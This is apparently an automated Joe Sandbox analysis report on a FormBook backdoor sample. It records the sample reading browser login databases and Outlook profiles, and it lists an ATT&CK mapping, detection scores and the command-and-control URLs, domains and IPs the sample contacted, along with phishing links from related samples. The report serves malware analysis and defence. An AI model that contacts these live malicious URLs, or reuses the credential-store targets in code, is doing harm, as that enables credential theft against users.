Source: C:\Windows\SysWOW64\write.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\write.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\write.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\write.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\write.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\SysWOW64\write.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\

Source: r6lOHDg9N9.exe	Binary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPWIN_2000InstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\Appearance3, 3, 6, 0USERPROFILEUSERDOMAINUSERDNSDOMAINDefaultGetSystemWow64DirectoryWSeDebugPrivilege:cdeclwinapistdcallnonestrwstrintbooluintlongulongdwordshortushortwordbyteubytebooleanfloatdoubleptrhwndhandlelresultlparamwparamint64uint64int_ptruint_ptrlong_ptrulong_ptrdword_ptridispatch64HKEY_LOCAL_MACHINEHKLMHKEY_CLASSES_ROOTHKCRHKEY_CURRENT_CONFIGHKCCHKEY_CURRENT_USERHKCUHKEY_USERSHKUREG_EXPAND_SZREG_SZREG_MULTI_SZREG_DWORDREG_QWORDREG_BINARYadvapi32.dllRegDeleteKeyExW+.-.+-\\[\\nrt]\|%%\|%[-+ 0#]?([0-9]\|\)?(\.[0-9]\|\.\)?[hlL]?[diouxXeEfgGs]ISVISIBLEISENABLEDTABLEFTTABRIGHTCURRENTTABSHOWDROPDOWNHIDEDROPDOWNADDSTRINGDELSTRINGFINDSTRINGSETCURRENTSELECTIONGETCURRENTSELECTIONSELECTSTRINGISCHECKEDCHECKUNCHECKGETSELECTEDGETLINECOUNTGETCURRENTLINEGETCURRENTCOLEDITPASTEGETLINESENDCOMMANDIDGETITEMCOUNTGETSUBITEMCOUNTGETTEXTGETSELECTEDCOUNTISSELECTEDSELECTALLSELECTCLEARSELECTINVERTDESELECTFINDITEMVIEWCHANGEGETTOTALCOUNTCOLLAPSEEXISTSEXPANDmsctls_statusbar321tooltips_class32AutoIt v3 GUI%d/%02d/%02dbuttonComboboxListboxSysDateTimePick32SysMonthCal32.icl.exe.dllMsctls_Progress32msctls_trackbar32SysAnimate32msctls_updown32SysTabControl32SysTreeView32SysListView32-----
Source: r6lOHDg9N9.exe	Binary or memory string: WIN_XP
Source: r6lOHDg9N9.exe	Binary or memory string: WIN_XPe
Source: r6lOHDg9N9.exe	Binary or memory string: WIN_VISTA
Source: r6lOHDg9N9.exe	Binary or memory string: WIN_7

Remote Access Functionality

Source: Yara match	File source: 1.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000002.3550976082.0000000002690000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.3554169610.0000000004A10000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2094255182.0000000003590000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3551036891.00000000026E0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2094963366.0000000005900000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.3552180620.00000000025B0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2093329149.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3550782278.00000000001D0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\r6lOHDg9N9.exe	Code function: 0_2_004741BB socket,WSAGetLastError,bind,WSAGetLastError,closesocket,	0_2_004741BB
Source: C:\Users\user\Desktop\r6lOHDg9N9.exe	Code function: 0_2_0046483C socket,WSAGetLastError,bind,WSAGetLastError,listen,WSAGetLastError,closesocket,	0_2_0046483C
Source: C:\Users\user\Desktop\r6lOHDg9N9.exe	Code function: 0_2_0047AD92 OleInitialize,_wcslen,CreateBindCtx,MkParseDisplayName,CLSIDFromProgID,GetActiveObject,	0_2_0047AD92

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	2 Valid Accounts	1 Native API	1 DLL Side-Loading	1 Exploitation for Privilege Escalation	1 Disable or Modify Tools	1 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	4 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	Scheduled Task/Job	2 Valid Accounts	1 Abuse Elevation Control Mechanism	1 Deobfuscate/Decode Files or Information	21 Input Capture	1 Account Discovery	Remote Desktop Protocol	1 Data from Local System	1 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	1 Abuse Elevation Control Mechanism	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	2 Valid Accounts	3 Obfuscated Files or Information	NTDS	116 System Information Discovery	Distributed Component Object Model	21 Input Capture	4 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	21 Access Token Manipulation	1 DLL Side-Loading	LSA Secrets	241 Security Software Discovery	SSH	2 Clipboard Data	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	412 Process Injection	2 Valid Accounts	Cached Domain Credentials	2 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	2 Virtualization/Sandbox Evasion	DCSync	3 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	21 Access Token Manipulation	Proc Filesystem	11 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	412 Process Injection	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
r6lOHDg9N9.exe	66%	ReversingLabs	Win32.Backdoor.FormBook
r6lOHDg9N9.exe	100%	Avira	TR/AVI.FormBook.yteeb
r6lOHDg9N9.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
http://www.onemart.site/frpa/?X8Rx1=znhhIbB8nN&zhl=24K/DZkmoc7bHzW+Clhod14EO+WVCLplL8BuA7PGHf8qDHCdDnlgU8fv6Zi4ouLCHtMfxhN5psYeEWHEa5SDdP5UtNzqgNLmQXsJ8/qLKwWQm26aR0vbL2E=	0%	Avira URL Cloud	safe
https://htmlcodex.com	0%	Avira URL Cloud	safe
http://www.dverkom.store/p6ze/?X8Rx1=znhhIbB8nN&zhl=/DXHDBoOk7chmVCQ4WrLaW1oMwdAaAsuBp0o9+oEddPaOIwOYOKBw5izboW0tBTgA9UkGMI+Rx3Lys9/a+AsrILRafTHrYx9fF0ImMQ3N0L+QaVHJSdbugw=	0%	Avira URL Cloud	safe
http://www.wcm50.top/4snq/?zhl=sdH/WbEy6w4fbVGTq9TqooXc2+84tGl6rFb6/eES0khOL/XioS6AKYaJ1BDLndLagFW2QAKxeq+tE1rAXqYu5rfm3z/1IJXzLuu54LPR0VmTOFYhtf9kUlg=&X8Rx1=znhhIbB8nN	0%	Avira URL Cloud	safe
http://www.dalong.site/s20z/	0%	Avira URL Cloud	safe
http://www.lanxuanz.tech/tpid/?zhl=engtnyTNtTQDWNNE7yJ78I7feV66GlGe8mJE780+4T661tYAjJ0+Tu/RlOqq0mFfSRMDbaNY7odrQC55001RANar5S3nmyGvU4LO7et061dPBL96f2mSZAk=&X8Rx1=znhhIbB8nN	0%	Avira URL Cloud	safe
http://www.komart.shop/8r0w/	0%	Avira URL Cloud	safe
http://www.030002304.xyz/jkxr/	100%	Avira URL Cloud	malware
http://www.onemart.site/frpa/	0%	Avira URL Cloud	safe
http://www.polarmuseum.info	0%	Avira URL Cloud	safe
http://www.030002304.xyz/jkxr/?X8Rx1=znhhIbB8nN&zhl=nfZmoz3ZNLa38WJC9Znh/BTcpJZiT6WI1J67BrQcysz4VkbFIz1C0Mwuu1KgUH3yzYFpHG8bYhuiS80nX0UZ0iO0BQhIJ00ZnTsDdGtBOXLHdb2igebUo2U=	100%	Avira URL Cloud	malware
http://www.dalong.site/s20z/?zhl=OlftTQ9hFz7OT6WFYxCuNpq7ExDWc0YdDdpK6+ifbkXRCNh9PINbo2rFvrFH3ENsTzWiAtX7VHJc4HngX2meKMfLmgA8ppz9ceAA4uFOpb8+rhwBxtyr4dg=&X8Rx1=znhhIbB8nN	0%	Avira URL Cloud	safe
http://www.polarmuseum.info/9u26/?zhl=1KzGVmvOKYmCo1wpuW+r8NP8l/V7/SD2qfM36nKJjIWw5yRzOpl1V5yMlKb+oB0ZkJTr7r2IK3XtbWcKe6/PEalDkn3qwfCmDnUmPcfDndNPzM6SEYrZbR4=&X8Rx1=znhhIbB8nN	0%	Avira URL Cloud	safe
http://www.lanxuanz.tech/tpid/	0%	Avira URL Cloud	safe
http://www.polarmuseum.info/9u26/	0%	Avira URL Cloud	safe
http://www.dverkom.store/p6ze/	0%	Avira URL Cloud	safe
http://www.teerra.shop/szao/	0%	Avira URL Cloud	safe
https://htmlcodex.com/credit-removal	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
komart.shop	133.130.35.90	true	true	unknown
www.onemart.site	209.74.95.29	true	true	unknown
www.polarmuseum.info	13.248.169.48	true	true	unknown
zhs.zohosites.com	136.143.186.12	true	false	high
wcm50.top	154.23.184.60	true	true	unknown
www.030002304.xyz	161.97.142.144	true	true	unknown
dalong.site	172.96.187.60	true	true	unknown
target.flexifunnels.com	104.16.6.253	true	true	unknown
www.dverkom.store	31.31.196.17	true	true	unknown
teerra.shop	3.33.130.190	true	true	unknown
www.dalong.site	unknown	unknown	true	unknown
www.teerra.shop	unknown	unknown	true	unknown
www.komart.shop	unknown	unknown	true	unknown
www.everycreation.shop	unknown	unknown	true	unknown
www.wcm50.top	unknown	unknown	true	unknown
www.growdigitally.net	unknown	unknown	true	unknown
www.lanxuanz.tech	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://www.onemart.site/frpa/?X8Rx1=znhhIbB8nN&zhl=24K/DZkmoc7bHzW+Clhod14EO+WVCLplL8BuA7PGHf8qDHCdDnlgU8fv6Zi4ouLCHtMfxhN5psYeEWHEa5SDdP5UtNzqgNLmQXsJ8/qLKwWQm26aR0vbL2E=	true	Avira URL Cloud: safe	unknown
http://www.dalong.site/s20z/	true	Avira URL Cloud: safe	unknown
http://www.lanxuanz.tech/tpid/?zhl=engtnyTNtTQDWNNE7yJ78I7feV66GlGe8mJE780+4T661tYAjJ0+Tu/RlOqq0mFfSRMDbaNY7odrQC55001RANar5S3nmyGvU4LO7et061dPBL96f2mSZAk=&X8Rx1=znhhIbB8nN	true	Avira URL Cloud: safe	unknown
http://www.komart.shop/8r0w/	true	Avira URL Cloud: safe	unknown
http://www.dverkom.store/p6ze/?X8Rx1=znhhIbB8nN&zhl=/DXHDBoOk7chmVCQ4WrLaW1oMwdAaAsuBp0o9+oEddPaOIwOYOKBw5izboW0tBTgA9UkGMI+Rx3Lys9/a+AsrILRafTHrYx9fF0ImMQ3N0L+QaVHJSdbugw=	true	Avira URL Cloud: safe	unknown
http://www.wcm50.top/4snq/?zhl=sdH/WbEy6w4fbVGTq9TqooXc2+84tGl6rFb6/eES0khOL/XioS6AKYaJ1BDLndLagFW2QAKxeq+tE1rAXqYu5rfm3z/1IJXzLuu54LPR0VmTOFYhtf9kUlg=&X8Rx1=znhhIbB8nN	true	Avira URL Cloud: safe	unknown
http://www.onemart.site/frpa/	true	Avira URL Cloud: safe	unknown
http://www.030002304.xyz/jkxr/	true	Avira URL Cloud: malware	unknown
http://www.lanxuanz.tech/tpid/	true	Avira URL Cloud: safe	unknown
http://www.polarmuseum.info/9u26/?zhl=1KzGVmvOKYmCo1wpuW+r8NP8l/V7/SD2qfM36nKJjIWw5yRzOpl1V5yMlKb+oB0ZkJTr7r2IK3XtbWcKe6/PEalDkn3qwfCmDnUmPcfDndNPzM6SEYrZbR4=&X8Rx1=znhhIbB8nN	true	Avira URL Cloud: safe	unknown
http://www.dverkom.store/p6ze/	true	Avira URL Cloud: safe	unknown
http://www.dalong.site/s20z/?zhl=OlftTQ9hFz7OT6WFYxCuNpq7ExDWc0YdDdpK6+ifbkXRCNh9PINbo2rFvrFH3ENsTzWiAtX7VHJc4HngX2meKMfLmgA8ppz9ceAA4uFOpb8+rhwBxtyr4dg=&X8Rx1=znhhIbB8nN	true	Avira URL Cloud: safe	unknown
http://www.030002304.xyz/jkxr/?X8Rx1=znhhIbB8nN&zhl=nfZmoz3ZNLa38WJC9Znh/BTcpJZiT6WI1J67BrQcysz4VkbFIz1C0Mwuu1KgUH3yzYFpHG8bYhuiS80nX0UZ0iO0BQhIJ00ZnTsDdGtBOXLHdb2igebUo2U=	true	Avira URL Cloud: malware	unknown
http://www.polarmuseum.info/9u26/	true	Avira URL Cloud: safe	unknown
http://www.teerra.shop/szao/	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://htmlcodex.com	write.exe, 00000006.00000002.3553914086.0000000005188000.00000004.10000000.00040000.00000000.sdmp, fZXsbVktlmkz.exe, 00000007.00000002.3552346753.0000000002CE8000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/chrome_newtab	write.exe, 00000006.00000002.3555877402.000000000759E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	write.exe, 00000006.00000002.3555877402.000000000759E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://cdn.jsdelivr.net/npm/bootstrap	write.exe, 00000006.00000002.3553914086.0000000005188000.00000004.10000000.00040000.00000000.sdmp, fZXsbVktlmkz.exe, 00000007.00000002.3552346753.0000000002CE8000.00000004.00000001.00040000.00000000.sdmp	false		high
https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.10.0/css/all.min.css	write.exe, 00000006.00000002.3553914086.0000000005188000.00000004.10000000.00040000.00000000.sdmp, fZXsbVktlmkz.exe, 00000007.00000002.3552346753.0000000002CE8000.00000004.00000001.00040000.00000000.sdmp	false		high
https://www.zoho.com/sites/images/professionally-crafted-themes.png	write.exe, 00000006.00000002.3553914086.000000000531A000.00000004.10000000.00040000.00000000.sdmp, fZXsbVktlmkz.exe, 00000007.00000002.3552346753.0000000002E7A000.00000004.00000001.00040000.00000000.sdmp	false		high
http://www.polarmuseum.info	fZXsbVktlmkz.exe, 00000007.00000002.3554169610.0000000004A7C000.00000040.80000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	write.exe, 00000006.00000002.3555877402.000000000759E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	write.exe, 00000006.00000002.3555877402.000000000759E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://code.jquery.com/jquery-3.4.1.min.js	write.exe, 00000006.00000002.3553914086.0000000005188000.00000004.10000000.00040000.00000000.sdmp, fZXsbVktlmkz.exe, 00000007.00000002.3552346753.0000000002CE8000.00000004.00000001.00040000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	write.exe, 00000006.00000002.3555877402.000000000759E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.zoho.com/sites/?src=parkeddomain&dr=www.lanxuanz.tech	write.exe, 00000006.00000002.3553914086.000000000531A000.00000004.10000000.00040000.00000000.sdmp, fZXsbVktlmkz.exe, 00000007.00000002.3552346753.0000000002E7A000.00000004.00000001.00040000.00000000.sdmp	false		high
https://cdn.jsdelivr.net/npm/bootstrap-icons	write.exe, 00000006.00000002.3553914086.0000000005188000.00000004.10000000.00040000.00000000.sdmp, fZXsbVktlmkz.exe, 00000007.00000002.3552346753.0000000002CE8000.00000004.00000001.00040000.00000000.sdmp	false		high
https://ac.ecosia.org/autocomplete?q=	write.exe, 00000006.00000002.3555877402.000000000759E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	write.exe, 00000006.00000002.3555877402.000000000759E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://contacts.zoho.com/static/file?t=org&ID=456089&fs=thumb	write.exe, 00000006.00000002.3553914086.000000000531A000.00000004.10000000.00040000.00000000.sdmp, fZXsbVktlmkz.exe, 00000007.00000002.3552346753.0000000002E7A000.00000004.00000001.00040000.00000000.sdmp	false		high
https://htmlcodex.com/credit-removal	write.exe, 00000006.00000002.3553914086.0000000005188000.00000004.10000000.00040000.00000000.sdmp, fZXsbVktlmkz.exe, 00000007.00000002.3552346753.0000000002CE8000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	write.exe, 00000006.00000002.3555877402.000000000759E000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
209.74.95.29	www.onemart.site	United States	31744	MULTIBAND-NEWHOPEUS	true
136.143.186.12	zhs.zohosites.com	United States	2639	ZOHO-ASUS	false
13.248.169.48	www.polarmuseum.info	United States	16509	AMAZON-02US	true
161.97.142.144	www.030002304.xyz	United States	51167	CONTABODE	true
172.96.187.60	dalong.site	Canada	32475	SINGLEHOP-LLCUS	true
133.130.35.90	komart.shop	Japan	7506	INTERQGMOInternetIncJP	true
31.31.196.17	www.dverkom.store	Russian Federation	197695	AS-REGRU	true
3.33.130.190	teerra.shop	United States	8987	AMAZONEXPANSIONGB	true
154.23.184.60	wcm50.top	United States	174	COGENT-174US	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1549349
Start date and time:	2024-11-05 15:21:08 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 27s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Run name:	Run with higher sleep bypass
Number of analysed new started processes analysed:	8
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	2
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	r6lOHDg9N9.exe renamed because original name is a hash value
Original Sample Name:	bd12b7917d9fcc7512fa18d3546d728ec21c418f48a64333ec824937bd5b76c1.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@7/2@11/9
EGA Information:	Successful, ratio: 75%
HCA Information:	Successful, ratio: 96% Number of executed functions: 41 Number of non-executed functions: 314
Cookbook Comments:	Found application associated with file extension: .exe Sleeps bigger than 100000000ms are automatically reduced to 1000ms

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): d.8.0.a.e.e.f.b.0.0.0.0.0.0.0.0.5.0.0.0.0.0.8.0.0.3.0.1.3.0.6.2.ip6.arpa, ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target fZXsbVktlmkz.exe, PID 1228 because it is empty
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing disassembly code.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: r6lOHDg9N9.exe

Simulations

Behavior and APIs

Time	Type	Description
09:23:18	API Interceptor	5723356x Sleep call for process: write.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
209.74.95.29	PO 4800040256.exe	Get hash	malicious	FormBook	Browse	www.sterkus.xyz/ha8h/
	PURCHASE ORDER-6350.exe	Get hash	malicious	FormBook	Browse	www.pofgof.pro/gfz9/
	POPO00003964.exe	Get hash	malicious	FormBook	Browse	www.sterkus.xyz/ha8h/?86_x=PbxAaK8rSTbGZ+BXmINHlCmvDMYzd7cnW5ERHNgbkCm+3sg74DzBCzS1WsCQlDZBoOF+IY6Xn812UFXfTFX6/xo/4S63CIRytf8/LKIAqG5Hdl7pUAMfsfg=&bVi=_BPd
	YSjOEAta07.exe	Get hash	malicious	FormBook	Browse	www.sterkus.xyz/ha8h/
	PURCHASE ORDER-6350.exe	Get hash	malicious	FormBook	Browse	www.pofgof.pro/gfz9/
	PO23100072.exe	Get hash	malicious	FormBook	Browse	www.pofgof.pro/gfz9/
	PO-000001488.exe	Get hash	malicious	FormBook	Browse	www.pofgof.pro/gfz9/
	List of Items0001.doc.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.onetoph.xyz/h5ax/
	PO2024033194.exe	Get hash	malicious	FormBook	Browse	www.sterkus.xyz/ha8h/
	PURCHASE ORDER-6350.exe	Get hash	malicious	FormBook	Browse	www.pofgof.pro/gfz9/
136.143.186.12	Purchase_Order_pdf.exe	Get hash	malicious	FormBook	Browse	www.lanxuanz.tech/1q08/
	jeez.exe	Get hash	malicious	FormBook	Browse	www.lanxuanz.tech/m8yb/
	PURCHASE ORDER.exe	Get hash	malicious	FormBook	Browse	www.lanxuanz.tech/ivo1/
	z4Shipping_document_pdf.exe	Get hash	malicious	FormBook	Browse	www.lanxuanz.tech/1q08/
	NVOICE FOR THE MONTH OF AUG-24.exe	Get hash	malicious	FormBook	Browse	www.lanxuanz.tech/ivo1/
	DEBIT NOTE 01ST SEP 2024.exe	Get hash	malicious	FormBook	Browse	www.lanxuanz.tech/ivo1/
	PROFOMA INVOICE SHEET.exe	Get hash	malicious	FormBook	Browse	www.lanxuanz.tech/ivo1/
	x.exe	Get hash	malicious	FormBook	Browse	www.lanxuanz.tech/em49/
	bin.exe	Get hash	malicious	FormBook	Browse	www.lanxuanz.tech/em49/
	PR44238-43433.exe	Get hash	malicious	FormBook	Browse	www.jrksa.info/nq8t/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
www.polarmuseum.info	rHSBCBank_Paymentswiftcpy.exe	Get hash	malicious	FormBook	Browse	199.59.243.227
	w64HYOhfv1.exe	Get hash	malicious	FormBook	Browse	199.59.243.227
	sa7Bw41TUq.exe	Get hash	malicious	FormBook	Browse	199.59.243.227
	enkJ6J7dAn.exe	Get hash	malicious	FormBook	Browse	199.59.243.227
	Arrival Notice.exe	Get hash	malicious	FormBook	Browse	199.59.243.227
	payment copy.exe	Get hash	malicious	FormBook	Browse	199.59.243.227
zhs.zohosites.com	Purchase_Order_pdf.exe	Get hash	malicious	FormBook	Browse	136.143.186.12
	jeez.exe	Get hash	malicious	FormBook	Browse	136.143.186.12
	PURCHASE ORDER.exe	Get hash	malicious	FormBook	Browse	136.143.186.12
	z4Shipping_document_pdf.exe	Get hash	malicious	FormBook	Browse	136.143.186.12
	NVOICE FOR THE MONTH OF AUG-24.exe	Get hash	malicious	FormBook	Browse	136.143.186.12
	DEBIT NOTE 01ST SEP 2024.exe	Get hash	malicious	FormBook	Browse	136.143.186.12
	PROFOMA INVOICE SHEET.exe	Get hash	malicious	FormBook	Browse	136.143.186.12
	x.exe	Get hash	malicious	FormBook	Browse	136.143.186.12
	bin.exe	Get hash	malicious	FormBook	Browse	136.143.186.12
	PR44238-43433.exe	Get hash	malicious	FormBook	Browse	136.143.186.12

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AMAZON-02US	Employee bonus and payroll 74ae5652.pdf	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	18.245.31.89
	https://bulbapp.com/u/sharefile?sharedLink=1db1fe96-5bdb-4c8c-ba45-33caa906abdd	Get hash	malicious	HTMLPhisher	Browse	143.204.98.63
	Eveshaw.pdf	Get hash	malicious	Unknown	Browse	18.239.69.9
	https://bitbucket.org/thanksforusingourwebsite/serv/downloads/Statement-415322025.exe	Get hash	malicious	ScreenConnect Tool	Browse	185.166.143.50
	https://mlflegal.sharefile.com/public/share/web-s929b2bfc135a4aadb68ad5b8c7324a2e	Get hash	malicious	Unknown	Browse	76.223.1.166
	https://1drv.ms/o/c/66fa7da2ba9759b3/EqcaXs4PlQlIgYgaPtxczNwB_gWaZXRP_eT5RhV50i4cxw?e=5%3aJHIMrP&sharingv2=true&fromShare=true&at=9	Get hash	malicious	Unknown	Browse	34.213.87.83
	https://forms.office.com/e/wqvhAuyrVU	Get hash	malicious	HTMLPhisher	Browse	13.32.118.71
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	18.244.18.38
	https://t.ly/Oppenheim0511	Get hash	malicious	GO Backdoor	Browse	185.166.143.49
	https://load.contbot.com.br/	Get hash	malicious	Unknown	Browse	76.76.21.21
ZOHO-ASUS	Purchase_Order_pdf.exe	Get hash	malicious	FormBook	Browse	136.143.186.12
	https://workdrive.zohoexternal.com/file/d3qaw4673940b54374623b165953068c580b5	Get hash	malicious	HTMLPhisher	Browse	136.143.191.16
	la.bot.powerpc.elf	Get hash	malicious	Unknown	Browse	165.173.254.237
	https://www.pumpproducts.com/goulds-lb0735te-centrifugal-booster-pump-3-4-hp-208-230-460-volts-3-phase-1-1-4-npt-suction-1-npt-discharge-18-gpm-max-176-ft-max-head-5-impeller-tefc-stainless-steel-pump-end-casing.html	Get hash	malicious	Unknown	Browse	136.143.190.172
	https://www.google.hn/url?q=//www.google.ee/amp/s/h2f35e7.ubpages.com/bdeda8-f4eb-4ed8-b	Get hash	malicious	HTMLPhisher	Browse	136.143.190.123
	https://forms.zohopublic.com/infracon/form/Admin365/formperma/soOC4wKkJUgax5Rc4KZNGEn7_-YDqfLh02-40-_JjCE	Get hash	malicious	Unknown	Browse	136.143.182.97
	https://forms.zohopublic.com/infracon/form/Admin365/formperma/soOC4wKkJUgax5Rc4KZNGEn7_-YDqfLh02-40-_JjCE	Get hash	malicious	Unknown	Browse	136.143.182.97
	https://u47624652.ct.sendgrid.net/ls/click?upn=u001.dadsJCAJAl1i2Wyni-2FqIpB7JUgY2pex5g8M-2FhOTGFFHwo5sWgFDjcqy2L0OmonoaOFxcTz7SSB9Zef6mGbvSbZAXZK2FNhcmYdYC1XfrewJRXTzEzFwzmIj8nJoazHaAQVwyvlny49OkXm-2FDzbhWD3cqi52XZmuHNJ5erV06gLBXVvtoQCYY0OMkrHePY-2F9kOmRiOc8fRxBlNxNWWJDbU4O9z5P8IfXhDPiFYyln4kg-3DMEyt_ta3c1LGL-2F0rVfKZ7mVrwN6xsF1Wes8l2L7kiutKf8O1vhXHOMQAk657ifMzrLT5hR0wjO0bDDWiSyPYBMWem2YqbQ4hjbtaf8R6UfuK7GvGuvaOArNf0yRKKyAsKfoVrlXUbmkgYGBk7NXAN8n11wXOM8RDTicUs3dK12Mnhp63jlPtSTpECLklTQMdoXlI5m8IncC-2BD2wJgWDFrBq8JEg-3D-3D	Get hash	malicious	HTMLPhisher	Browse	204.141.42.123
	https://forms.zohopublic.com/pharmops1/form/DOCUSIGNREVIEW/formperma/hzyn6gH_uB4k6Kv8lque19zZem5KI3as5uJYGnlnfac	Get hash	malicious	HTMLPhisher	Browse	136.143.182.97
	jeez.exe	Get hash	malicious	FormBook	Browse	136.143.186.12
MULTIBAND-NEWHOPEUS	09Iz0ja549.exe	Get hash	malicious	FormBook	Browse	209.74.64.190
	En88bvC0fc.exe	Get hash	malicious	FormBook	Browse	209.74.64.187
